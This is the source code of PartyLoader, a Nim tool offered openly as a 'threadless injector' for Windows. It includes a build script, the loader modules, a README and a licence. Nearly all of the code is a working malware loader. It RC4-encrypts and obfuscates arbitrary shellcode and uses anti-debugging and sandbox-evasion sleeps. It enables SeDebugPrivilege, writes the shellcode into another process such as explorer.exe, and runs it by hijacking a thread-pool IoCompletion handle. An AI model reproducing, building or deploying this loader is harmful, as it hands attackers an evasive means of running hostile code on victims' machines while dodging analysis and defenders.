├── .gitignore ├── PartyLoader ├── build.exe ├── Loader │ ├── dll.nim │ ├── antidebug.nim │ ├── defs.nim │ ├── helpers.nim │ └── main.nim └── build.nim ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | */Loader/params.nim 2 | */PartyLoader.exe 3 | */PartyLoader.dll 4 | *test* -------------------------------------------------------------------------------- /PartyLoader/build.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itaymigdal/PartyLoader/HEAD/PartyLoader/build.exe -------------------------------------------------------------------------------- /PartyLoader/Loader/dll.nim: -------------------------------------------------------------------------------- 1 | import main 2 | import params 3 | 4 | proc NimMain() {.cdecl, importc.} 5 | 6 | proc DllRegisterServer(): void {.stdcall, exportc, dynlib.} = 7 | NimMain() 8 | main() 9 | -------------------------------------------------------------------------------- /PartyLoader/Loader/antidebug.nim: -------------------------------------------------------------------------------- 1 | import winim 2 | 3 | {.passC:"-masm=intel".} 4 | 5 | 6 | proc pebBeingDebugged(): bool {.asmNoStackFrame.} = 7 | # https://anti-debug.checkpoint.com/techniques/debug-flags.html#manual-checks-peb-beingdebugged-flag 8 | asm """ 9 | mov rax, gs:[0x60] 10 | movzx rax, byte ptr [rax+2] 11 | ret 12 | """ 13 | 14 | 15 | proc getProcessFileHandle(): bool = 16 | # https://anti-debug.checkpoint.com/techniques/object-handles.html#createfile 17 | var fileName: array[MAX_PATH + 1, WCHAR] 18 | discard GetModuleFileNameW( 19 | 0, 20 | addr fileName[0], 21 | MAX_PATH 22 | ) 23 | var res = CreateFileW( 24 | addr fileName[0], 25 | GENERIC_READ, 26 | 0, 27 | NULL, 28 | OPEN_EXISTING, 29 | 0, 30 | 0 31 | ) 32 | 33 | var isDebugged = (res == INVALID_HANDLE_VALUE) 34 | CloseHandle(res) 35 | return isDebugged 36 | 37 | 38 | proc isDebugged*(): bool = 39 | return pebBeingDebugged() or getProcessFileHandle() 40 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Itay Migdal 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # About 2 | 3 | PartyLoader is a threadless injector weaponizing [Pool Party injection](https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/) variant 7. 4 | 5 | ## Installation 6 | Built with Nim 1.6.12. 7 | ``` 8 | nimble install winim nimprotect supersnappy argparse 9 | ``` 10 | 11 | ## Usage 12 | > Use only for 64 bit 13 | ``` 14 | Usage: 15 | [options] shellcode_file 16 | 17 | Arguments: 18 | shellcode_file Raw shellcode file to load 19 | 20 | Options: 21 | -h, --help 22 | -n, --process-name=PROCESS_NAME 23 | Process name to inject (default: explorer.exe) 24 | -w, --wait-for-process Wait for the target process to start (default: exit if target process isn't found) 25 | -f, --format=FORMAT Loader format Possible values: [exe, dll] (default: exe) 26 | -e, --export=EXPORT DLL export name (relevant only for Dll format) (default: DllRegisterServer) 27 | -p, --split Split and hide the payload blob in loader (takes long to compile!) 28 | -t, --sleep=SLEEP Number of seconds to sleep before injection (default: 0) 29 | -g, --anti-debug=ANTI_DEBUG 30 | Action to perform upon debugger detection Possible values: [none, die, troll] (default: none) 31 | -k, --key=KEY RC4 key to [en/de]crypt the payload (supplied as a command line argument to the loader) (default: ) 32 | -v, --veh Injection will occur within VEH 33 | ``` 34 | 35 | ## Credits 36 | 1. My friend and Ex-coworker [_0xDeku](https://twitter.com/_0xDeku) for the great Pool Party research 37 | 38 | -------------------------------------------------------------------------------- /PartyLoader/Loader/defs.nim: -------------------------------------------------------------------------------- 1 | import os 2 | import RC4 3 | import math 4 | import winim 5 | import times 6 | import random 7 | import strutils 8 | import nimprotect 9 | import supersnappy 10 | from std/base64 import decode 11 | 12 | const 13 | PROCESS_HANDLE_INFORMATION = 51 14 | OBJECT_TYPE_INFORMATION = 2 15 | IO_COMPLETION_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or 0x3 16 | STATUS_INFO_LENGTH_MISMATCH = cast[NTSTATUS](0xC0000004) 17 | 18 | type 19 | TP_TASK_CALLBACKS = object 20 | ExecuteCallback, Unposted: LPVOID 21 | 22 | TP_TASK = object 23 | Callbacks: ptr TP_TASK_CALLBACKS 24 | NumaNode: uint32 25 | IdealProcessor: uint8 26 | Padding_242: array[3, char] 27 | ListEntry: LIST_ENTRY 28 | 29 | TP_DIRECT = object 30 | Task: TP_TASK 31 | Lock: uint64 32 | IoCompletionInformationList: LIST_ENTRY 33 | Callback: LPVOID 34 | NumaNode: uint32 35 | IdealProcessor: uint8 36 | Padding_3: array[3, char] 37 | 38 | PTP_DIRECT = ptr TP_DIRECT 39 | 40 | PROCESS_HANDLE_TABLE_ENTRY_INFO = object 41 | HandleValue: HANDLE 42 | HandleCount, PointerCount: ULONG_PTR 43 | GrantedAccess: ACCESS_MASK 44 | ObjectTypeIndex, HandleAttributes, Reserved: ULONG 45 | 46 | PPROCESS_HANDLE_TABLE_ENTRY_INFO = ptr PROCESS_HANDLE_TABLE_ENTRY_INFO 47 | 48 | PROCESS_HANDLE_SNAPSHOT_INFORMATION = object 49 | NumberOfHandles, Reserved: ULONG_PTR 50 | Handles: array[ANYSIZE_ARRAY, PROCESS_HANDLE_TABLE_ENTRY_INFO] 51 | 52 | PPROCESS_HANDLE_SNAPSHOT_INFORMATION = ptr PROCESS_HANDLE_SNAPSHOT_INFORMATION 53 | 54 | PUBLIC_OBJECT_TYPE_INFORMATION = object 55 | TypeName: UNICODE_STRING 56 | Reserved: array[22, ULONG] 57 | 58 | PPUBLIC_OBJECT_TYPE_INFORMATION = ptr PUBLIC_OBJECT_TYPE_INFORMATION 59 | 60 | 61 | proc NtQueryObject( 62 | Handle: HANDLE, 63 | ObjectInformationClass: OBJECT_INFORMATION_CLASS, 64 | ObjectInformation: PVOID, 65 | ObjectInformationLength: ULONG, 66 | ReturnLength: PULONG 67 | ): NTSTATUS {.winapi, stdcall, dynlib: protectString("ntdll"), importc.} 68 | 69 | proc NtSetIoCompletion( 70 | IoCompletionHandle: HANDLE, 71 | KeyContext: PVOID, 72 | ApcContext: PVOID, 73 | IoStatus: NTSTATUS, 74 | IoStatusInformation: ULONG_PTR 75 | ): NTSTATUS {.winapi, stdcall, dynlib: protectString("ntdll"), importc.} 76 | -------------------------------------------------------------------------------- /PartyLoader/Loader/helpers.nim: -------------------------------------------------------------------------------- 1 | include defs 2 | 3 | 4 | proc toString*(chars: openArray[WCHAR]): string = 5 | result = "" 6 | for c in chars: 7 | if cast[char](c) == '\0': 8 | break 9 | result.add(cast[char](c)) 10 | 11 | 12 | proc getPid*(pname: string): int = 13 | var entry: PROCESSENTRY32 14 | var hSnapshot: HANDLE 15 | entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32)) 16 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) 17 | defer: CloseHandle(hSnapshot) 18 | if Process32First(hSnapshot, addr entry): 19 | while Process32Next(hSnapshot, addr entry): 20 | if entry.szExeFile.toString == pname: 21 | return int(entry.th32ProcessID) 22 | return 0 23 | 24 | 25 | proc setDebugPrivilege*(): bool = 26 | # Inits 27 | var tp : TOKEN_PRIVILEGES 28 | var luid: LUID 29 | var HTtoken: HANDLE 30 | var lpszPrivilege = protectString("SeDebugPrivilege") 31 | # Open current process token 32 | discard OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &HTtoken) 33 | # Get current privilege 34 | if LookupPrivilegeValue(NULL, lpszPrivilege, &luid) == 0: 35 | return false 36 | # Enable privilege 37 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED 38 | tp.PrivilegeCount = 1 39 | tp.Privileges[0].Luid = luid 40 | # Set privilege 41 | if AdjustTokenPrivileges(HTtoken, FALSE, &tp, cast[DWORD](sizeof(TOKEN_PRIVILEGES)), NULL, NULL) == 0: 42 | return false 43 | # Success 44 | return true 45 | 46 | 47 | proc sleepUselessCalculations*(secondsToSleep: int) = 48 | var x: float 49 | var y: float 50 | var z: float 51 | randomize() 52 | var startTime = now() 53 | while (now() - startTime).inSeconds < secondsToSleep: 54 | for _ in countdown(rand(5619989), 87): 55 | x = rand(rand(rand(511.888)) mod 9811) 56 | y = rand(rand(6313.9999)) + log2(cos(1.87 * PI)) 57 | z = rand(836.3214789 - x mod y) 58 | y = sqrt(float(x * y + 37)) * sqrt(float(x / (y + 1111))) + exp(float(x * z)) 59 | 60 | 61 | proc ntQueryObjectWrapper(handle: HANDLE, oic: OBJECT_INFORMATION_CLASS): ptr BYTE = 62 | var informationLength: ULONG = 0 63 | var ntstatus: NTSTATUS = STATUS_INFO_LENGTH_MISMATCH 64 | var information: pointer 65 | while ntstatus == STATUS_INFO_LENGTH_MISMATCH: 66 | information = realloc(information, informationLength) 67 | ntstatus = NtQueryObject(handle, oic, information, informationLength, addr informationLength) 68 | return cast[PBYTE](information) 69 | 70 | 71 | proc hijackProcessHandle*(objectType: PWSTR, targetHandle: HANDLE, desiredAccess: DWORD): HANDLE = 72 | var informationLength: ULONG = 0 73 | var ntstatus: NTSTATUS = STATUS_INFO_LENGTH_MISMATCH 74 | var information: pointer 75 | while ntstatus == STATUS_INFO_LENGTH_MISMATCH: 76 | information = realloc(information, informationLength) 77 | ntstatus = NtQueryInformationProcess( 78 | targetHandle, 79 | PROCESS_HANDLE_INFORMATION, 80 | information, 81 | informationLength, 82 | addr informationLength 83 | ) 84 | let processHandleInformation = cast[PPROCESS_HANDLE_SNAPSHOT_INFORMATION](information) 85 | var duplicatedHandle: HANDLE 86 | for i in 1 ..< int(processHandleInformation.NumberOfHandles): 87 | # handle struct pointer = first handle struct address + sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO) * iterator 88 | var handlePtr = cast[PPROCESS_HANDLE_TABLE_ENTRY_INFO]( 89 | cast[int](addr processHandleInformation.Handles[0]) + 90 | sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO) * i 91 | ) 92 | if DuplicateHandle( 93 | targetHandle, 94 | handlePtr.HandleValue, 95 | GetCurrentProcess(), 96 | addr duplicatedHandle, 97 | desiredAccess, 98 | false, 99 | 0 100 | ) == 0: 101 | continue 102 | let objectInformation = ntQueryObjectWrapper(duplicatedHandle, OBJECT_TYPE_INFORMATION) 103 | let objectTypeInformation = cast[PPUBLIC_OBJECT_TYPE_INFORMATION](objectInformation) 104 | if objectInformation == nil: 105 | continue 106 | if $objectType == $objectTypeInformation.TypeName.Buffer: 107 | return duplicatedHandle 108 | 109 | -------------------------------------------------------------------------------- /PartyLoader/Loader/main.nim: -------------------------------------------------------------------------------- 1 | # Internal 2 | import params 3 | import antidebug 4 | include helpers 5 | 6 | const STATUS_INTEGER_DIVIDE_BY_ZERO = 0xC0000094 7 | 8 | # Raising VEH 9 | {.emit: """ 10 | #include 11 | void raiseVEH() { 12 | int x = 4 / 0; 13 | } 14 | """.} 15 | proc raiseVEH(): void {.importc: protectString("raiseVEH"), nodecl.} 16 | 17 | 18 | proc execute(payload: string, processName: string, sleepSeconds: int = 0, isEncrypted: bool): bool = 19 | 20 | # Sleep at execution 21 | sleepUselessCalculations(sleepSeconds) 22 | 23 | # Anti debug check 24 | if antiDebugAction in[protectString("die"), protectString("troll")] and isDebugged(): 25 | if antiDebugAction == protectString("die"): 26 | quit(1) 27 | elif antiDebugAction == protectString("troll"): 28 | sleepUselessCalculations(999999999) 29 | 30 | # Decode, (Decrypt) and decompress shellcode 31 | let commandLineParams = commandLineParams() 32 | var decodedPayload = decode(payload) 33 | var shellcodeStr: string 34 | var isKeySupplied = false 35 | if isEncrypted: 36 | for i in commandLineParams: 37 | if i.startsWith(protectString("-K:")) and len(i) > 3: 38 | isKeySupplied = true 39 | var key = i.replace(protectString("-K:"), "") 40 | try: 41 | shellcodeStr = uncompress(fromRC4(key, decodedPayload)) 42 | except SnappyError: # Wrong RC4 key 43 | quit(1) 44 | if not isKeySupplied: 45 | quit(1) 46 | else: 47 | shellcodeStr = uncompress(decodedPayload) 48 | 49 | # Converting shellcode 50 | var shellcodeBytes = @(shellcodeStr.toOpenArrayByte(0, shellcodeStr.high)) 51 | var shellcodeBytesPtr = addr shellcodeBytes[0] 52 | 53 | # Enabling debug privilege 54 | discard setDebugPrivilege() 55 | 56 | # Get target PID 57 | var targetPid = getPid(processName) 58 | if targetPid == 0 and waitForProcess: 59 | while targetPid == 0: 60 | targetPid = getPid(processName) 61 | Sleep(10 * 1000) 62 | 63 | # Opening target process 64 | var targetHandle = OpenProcess( 65 | PROCESS_VM_READ or PROCESS_VM_WRITE or PROCESS_VM_OPERATION or PROCESS_DUP_HANDLE or PROCESS_QUERY_INFORMATION, 66 | FALSE, 67 | cast[DWORD](targetPid) 68 | ) 69 | if targetHandle == 0: 70 | quit(1) 71 | 72 | # Allocating memory in target process 73 | let targetPtr = VirtualAllocEx( 74 | targetHandle, 75 | NULL, 76 | cast[SIZE_T](shellcodeBytes.len), 77 | MEM_COMMIT, 78 | PAGE_EXECUTE_READ_WRITE 79 | ) 80 | if cast[int](targetPtr) == 0: 81 | quit(1) 82 | 83 | # Writing shellcode to target process 84 | var bytesWritten: SIZE_T 85 | WriteProcessMemory( 86 | targetHandle, 87 | targetPtr, 88 | shellcodeBytesPtr, 89 | cast[SIZE_T](shellcodeBytes.len), 90 | addr bytesWritten 91 | ) 92 | if bytesWritten == 0: 93 | quit(1) 94 | # echo "Remote shellcode: " & $cast[int](targetPtr).toHex 95 | 96 | # Pool Party variant 7 97 | var direct: TP_DIRECT 98 | direct.Callback = targetPtr 99 | var remoteDirectAddress: PTP_DIRECT = cast[PTP_DIRECT](VirtualAllocEx( 100 | targetHandle, 101 | NULL, 102 | sizeof(TP_DIRECT), 103 | MEM_COMMIT or MEM_RESERVE, 104 | PAGE_READWRITE 105 | )) 106 | if cast[int](remoteDirectAddress) == 0: 107 | quit(1) 108 | WriteProcessMemory( 109 | targetHandle, 110 | remoteDirectAddress, 111 | addr direct, 112 | sizeof(TP_DIRECT), 113 | addr bytesWritten 114 | ) 115 | if bytesWritten == 0: 116 | quit(1) 117 | # echo "Remote TP_DIRECT: " & $cast[int](remoteDirectAddress).toHex 118 | var ioCompletionHandle = hijackProcessHandle(newWideCString(protectString("IoCompletion")), targetHandle, IO_COMPLETION_ALL_ACCESS) 119 | NtSetIoCompletion(ioCompletionHandle, remoteDirectAddress, NULL, 0, 0) 120 | 121 | 122 | proc wrapExecute() = 123 | discard execute( 124 | payload = payload, 125 | processName = processName, 126 | sleepSeconds = sleepSeconds, 127 | isEncrypted = isEncrypted 128 | ) 129 | quit(0) 130 | 131 | 132 | proc wrapExecuteVEH(pExceptInfo: PEXCEPTION_POINTERS): LONG = 133 | if (pExceptInfo.ExceptionRecord.ExceptionCode == cast[DWORD](STATUS_INTEGER_DIVIDE_BY_ZERO)): 134 | wrap_execute() 135 | else: 136 | return EXCEPTION_CONTINUE_SEARCH 137 | 138 | 139 | proc main*() = 140 | if isVeh: 141 | AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](wrapExecuteVEH)) 142 | raiseVEH() 143 | else: 144 | wrapExecute() 145 | 146 | 147 | when isMainModule: 148 | main() -------------------------------------------------------------------------------- /PartyLoader/build.nim: -------------------------------------------------------------------------------- 1 | import RC4 2 | import osproc 3 | import argparse 4 | import strformat 5 | import supersnappy 6 | from std/base64 import encode 7 | 8 | 9 | # YOU HAVE TO HAVE A TOOL BANNER 10 | const banner = """ 11 | 12 | ░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓███████▓▒░▒▓████████▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓██████▓▒░ ░▒▓██████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓███████▓▒░ 13 | ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░ 14 | ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░ 15 | ░▒▓███████▓▒░░▒▓████████▓▒░▒▓███████▓▒░ ░▒▓█▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓██████▓▒░ ░▒▓███████▓▒░ 16 | ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░ 17 | ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░ 18 | ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓████████▓▒░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░░▒▓█▓▒░ 19 | 20 | >> Threadless shellcode injection tool 21 | https://github.com/itaymigdal/PartyLoader 22 | By Itay Migdal 23 | """ 24 | 25 | # Declare arguments 26 | var shellcodePath: string 27 | var injectionMethod: string 28 | var processName: string 29 | var waitForProcess: bool 30 | var outFormat: string 31 | var outDllExportName: string 32 | var isSplit: bool 33 | var sleepSeconds: string 34 | var antiDebugg: string 35 | var key: string 36 | var isVeh: bool 37 | var isEncrypted: bool 38 | var payload: string 39 | 40 | # Define compiler args 41 | var compileExeCmd = "nim compile --app:console" # exe format 42 | var compileDllCmd = "nim compile --app:lib --nomain" # dll format 43 | var compileExePath = " Loader/main.nim" # for source exe 44 | var compileDllPath = " Loader/dll.nim" # for source dll 45 | var compileOutExe = " -o:PartyLoader.exe" # for compiled exe 46 | var compileOutDll = " -o:PartyLoader.dll" # for compiled dll 47 | var compileFlags = " --cpu=amd64" # for windows 64 bit 48 | compileFlags.add " -d:release -d:strip --opt:none" # for minimal size # --opt:size casuing runtime erros here! 49 | compileFlags.add " --passL:-Wl,--dynamicbase" # for relocation table (needed for loaders) 50 | compileFlags.add " --benchmarkVM:on" # for NimProtect key randomization 51 | compileFlags.add " --maxLoopIterationsVM:100000000" # for RC4'ing big files 52 | 53 | when isMainModule: 54 | # Define arguments 55 | var p = newParser: 56 | help(banner) 57 | arg("shellcode-file", help="Raw shellcode file to load") 58 | option("-n", "--process-name", help="Process name to inject", default=some("explorer.exe")) 59 | flag("-w", "--wait-for-process", help="Wait for the target process to start (default: exit if target process isn't found)") 60 | option("-f", "--format", help="Loader format", choices = @["exe", "dll"], default=some("exe")) 61 | option("-e", "--export", help="DLL export name (relevant only for Dll format)", default=some("DllRegisterServer")) 62 | flag("-p", "--split", help="Split and hide the payload blob in loader (takes long to compile!)") 63 | option("-t", "--sleep", help="Number of seconds to sleep before injection", default=some("0")) 64 | option("-g", "--anti-debug", help="Action to perform upon debugger detection", choices = @["none", "die", "troll"], default=some("none")) 65 | option("-k", "--key", help="RC4 key to [en/de]crypt the payload (supplied as a command line argument to the loader)", default=some("")) 66 | flag("-v", "--veh", help="Injection will occur within VEH") 67 | # Parse arguments 68 | try: 69 | var opts = p.parse() 70 | shellcodePath = opts.shellcode_file 71 | processName = opts.process_name 72 | waitForProcess = opts.wait_for_process 73 | outFormat = opts.format 74 | outDllExportName = opts.export 75 | isSplit = opts.split 76 | sleepSeconds = opts.sleep 77 | antiDebugg = opts.anti_debug 78 | key = opts.key 79 | isVeh = opts.veh 80 | except ShortCircuit as err: 81 | if err.flag == "argparse_help": 82 | echo err.help 83 | quit(1) 84 | except UsageError: 85 | echo banner 86 | echo "[-] " & getCurrentExceptionMsg() 87 | echo "[i] Use -h / --help\n" 88 | quit(1) 89 | 90 | # rEAD & Compress & encode shellcode 91 | var shellcodeStr = readFile(shellcodePath) 92 | var compressedShellcode = compress(shellcodeStr) 93 | 94 | # (Encrypt and) Encode payload if key supplied 95 | if key != "": 96 | payload = encode(toRC4(key, compressedShellcode)) 97 | isEncrypted = true 98 | else: 99 | payload = encode(compressedShellcode) 100 | isEncrypted = false 101 | 102 | # Write the parameters to the loader params 103 | var paramsPath = "Loader/params.nim" 104 | var payloadLine: string 105 | if isSplit: 106 | payloadLine = fmt"""var payload* = splitString(protectString("{payload}"))""" 107 | else: 108 | payloadLine = fmt"""var payload* = protectString("{payload}")""" 109 | var paramsToLoader = fmt""" 110 | import nimprotect 111 | 112 | {payloadLine} 113 | var processName* = protectString("{processName}") 114 | var waitForProcess* = {waitForProcess} 115 | var dllExportName* = protectString("{outDllExportName}") 116 | var antiDebugAction* = protectString("{antiDebugg}") 117 | var sleepSeconds* = {sleepSeconds} 118 | var isVeh* = {isVeh} 119 | var isEncrypted* = {isEncrypted} 120 | """ 121 | writeFile(paramsPath, paramsToLoader) 122 | 123 | # Compile 124 | var compileCmd: string 125 | if outFormat == "exe": 126 | compileCmd = compileExeCmd & compileFlags & compileOutExe & compileExePath 127 | elif outFormat == "dll": 128 | # Write the dll file that contains the export function 129 | var nimDllPath = "Loader/dll.nim" 130 | var nimDllcontent = fmt""" 131 | import main 132 | import params 133 | 134 | proc NimMain() {{.cdecl, importc.}} 135 | 136 | proc {outDllExportName}(): void {{.stdcall, exportc, dynlib.}} = 137 | NimMain() 138 | main() 139 | """ 140 | writeFile(nimDllPath, nimDllcontent) 141 | compileCmd = compileDllCmd & compileFlags & compileOutDll & compileDllPath 142 | echo "[*] Compiling Loader: " & compileCmd 143 | var res = execCmdEx(compileCmd, options={poStdErrToStdOut}) 144 | if res[1] == 0: 145 | echo "[+] Compiled successfully" 146 | if key != "": 147 | echo fmt"[i] Run the loader with '-K:{key}' argument" 148 | else: 149 | echo "[-] Error compiling. compilation output:" 150 | echo res[0] 151 | 152 | 153 | 154 | --------------------------------------------------------------------------------